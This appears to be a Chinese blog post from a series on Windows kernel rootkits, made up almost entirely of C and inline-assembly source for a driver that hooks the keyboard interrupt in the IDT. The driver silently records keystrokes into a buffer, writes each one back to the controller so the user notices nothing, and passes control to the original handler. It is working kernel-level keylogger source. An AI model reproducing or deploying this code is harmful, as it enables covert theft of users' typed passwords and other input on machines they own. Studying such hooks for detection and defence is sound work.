RootKits——windows内核的安全防护

上一篇有讲到怎样利用键盘控制芯片的端口去控制键盘,但是仅仅利用定时器来实现键盘的控制是非常浪费时间的。所以我们应该换一种方式,比如说挂钩键盘击键事件的中断。整整个中断的挂钩我们在前面已经分析过了,这里将其和上一篇整合。首先利用sidt指令将键盘击键事件的中断处理事件进行挂钩,将我们的函数放入击键处理函数当中使得中断的时候调用我们的函数。然后跳转到原来的中断处理函数进行真正的中断处理。源代码如下:

#pragma pack(1)

typedef struct
{
	unsigned short LowOffset;
	unsigned short selector;
	unsigned char unused_lo;
	unsigned char segment_type:4;	//0x0E is an interrupt gate
	unsigned char system_segment_flag:1;
	unsigned char DPL:2;	// descriptor privilege level 
	unsigned char P:1; /* present */
	unsigned short HiOffset;
} IDTENTRY;

typedef struct
{
	unsigned short IDTLimit;
	unsigned short LowIDTbase;
	unsigned short HiIDTbase;
} IDTINFO;

#pragma pack()

unsigned long old_ISR_pointer;	// better save the old one!!
unsigned char keystroke_buffer[1024]; //grab 1k keystrokes
int kb_array_ptr=0;

ULONG WaitForKeyboard()
{
	char _t[255];
	int i = 100;	// number of times to loop
	UCHAR mychar;

	do
	{
		mychar = READ_PORT_UCHAR( KEYBOARD_PORT_64 );

		KeStallExecutionProcessor(666);
		if(!(mychar & IBUFFER_FULL)) break;	// if the flag is clear, we go ahead
	}
	while (i--);

	if(i) return TRUE;
	return FALSE;
}

// call WaitForKeyboard before calling this function
void DrainOutputBuffer()
{
	char _t[255];
	int i = 100;	// number of times to loop
	UCHAR c;
	do
	{
		c = READ_PORT_UCHAR(KEYBOARD_PORT_64);

		KeStallExecutionProcessor(666);

		if(!(c & OBUFFER_FULL)) break;	// if the flag is clear, we go ahead
		c = READ_PORT_UCHAR(KEYBOARD_PORT_60);
	}
	while (i--);
}

// write a byte to the data port at 0x60
ULONG SendKeyboardCommand( IN UCHAR theCommand )
{
	char _t[255];

	if(TRUE == WaitForKeyboard())
	{
		DrainOutputBuffer();
		WRITE_PORT_UCHAR( KEYBOARD_PORT_60, theCommand );
	}
	else
	{
		return FALSE;
	}

	return TRUE;
}

VOID OnUnload( IN PDRIVER_OBJECT DriverObject )
{
	IDTINFO		idt_info;		// this structure is obtained by calling STORE IDT (sidt)
	IDTENTRY*	idt_entries;	// and then this pointer is obtained from idt_info
	char _t[255];

	// load idt_info
	__asm	sidt	idt_info	
	idt_entries = (IDTENTRY*) MAKELONG(idt_info.LowIDTbase,idt_info.HiIDTbase);

	DbgPrint("ROOTKIT: OnUnload called\n");

	DbgPrint("UnHooking Interrupt...");

	// restore the original interrupt handler
	__asm cli
	idt_entries[NT_INT_KEYBD].LowOffset = (unsigned short) old_ISR_pointer;
	idt_entries[NT_INT_KEYBD].HiOffset = (unsigned short)((unsigned long)old_ISR_pointer >> 16);
	__asm sti

	DbgPrint("UnHooking Interrupt complete.");

	DbgPrint("Keystroke Buffer is: ");
	while(kb_array_ptr--)
	{
		DbgPrint("%02X ", keystroke_buffer[kb_array_ptr]);
	}
}

// using stdcall means that this function fixes the stack before returning (opposite of cdecl)
void __stdcall print_keystroke()
{
	UCHAR c;

	c = READ_PORT_UCHAR(KEYBOARD_PORT_60);

	if(kb_array_ptr<1024){
		keystroke_buffer[kb_array_ptr++]=c;
	}

	WRITE_PORT_UCHAR(KEYBOARD_PORT_64, 0xD2); //准备写数据到输出寄存器当中	
	WaitForKeyboard();
	WRITE_PORT_UCHAR(KEYBOARD_PORT_60, c); //将数据写入到键盘的输出寄存器当中
}

__declspec(naked) my_interrupt_hook()
{
	__asm
	{
			pushad					// save all general purpose registers
			pushfd					// save the flags register
			call	print_keystroke	// call function
			popfd					// restore the flags
			popad					// restore the general registers
			jmp		old_ISR_pointer	// goto the original ISR
	}
}

NTSTATUS DriverEntry( IN PDRIVER_OBJECT theDriverObject, IN PUNICODE_STRING theRegistryPath )
{
	IDTINFO		idt_info;		// this structure is obtained by calling STORE IDT (sidt)
	IDTENTRY*	idt_entries;	// and then this pointer is obtained from idt_info
	IDTENTRY*	i;
	unsigned long 	addr;
	unsigned long	count;
	char _t[255];

	theDriverObject->DriverUnload  = OnUnload; 
	__asm	sidt	idt_info

	idt_entries = (IDTENTRY*) MAKELONG(idt_info.LowIDTbase,idt_info.HiIDTbase);

	for(count=0;count < MAX_IDT_ENTRIES;count++)
	{
		i = &idt_entries[count];
		addr = MAKELONG(i->LowOffset, i->HiOffset);

		_snprintf(_t, 253, "Interrupt %d: ISR 0x%08X", count, addr);
		DbgPrint(_t);
	}

	DbgPrint("Hooking Interrupt...");
	old_ISR_pointer = MAKELONG(idt_entries[NT_INT_KEYBD].LowOffset,idt_entries[NT_INT_KEYBD].HiOffset);

	__asm cli
	idt_entries[NT_INT_KEYBD].LowOffset = (unsigned short)my_interrupt_hook;
	idt_entries[NT_INT_KEYBD].HiOffset = (unsigned short)((unsigned long)my_interrupt_hook >> 16);
	__asm sti

	DbgPrint("Hooking Interrupt complete");

	return STATUS_SUCCESS;
}

你可能感兴趣的:(C++,内核)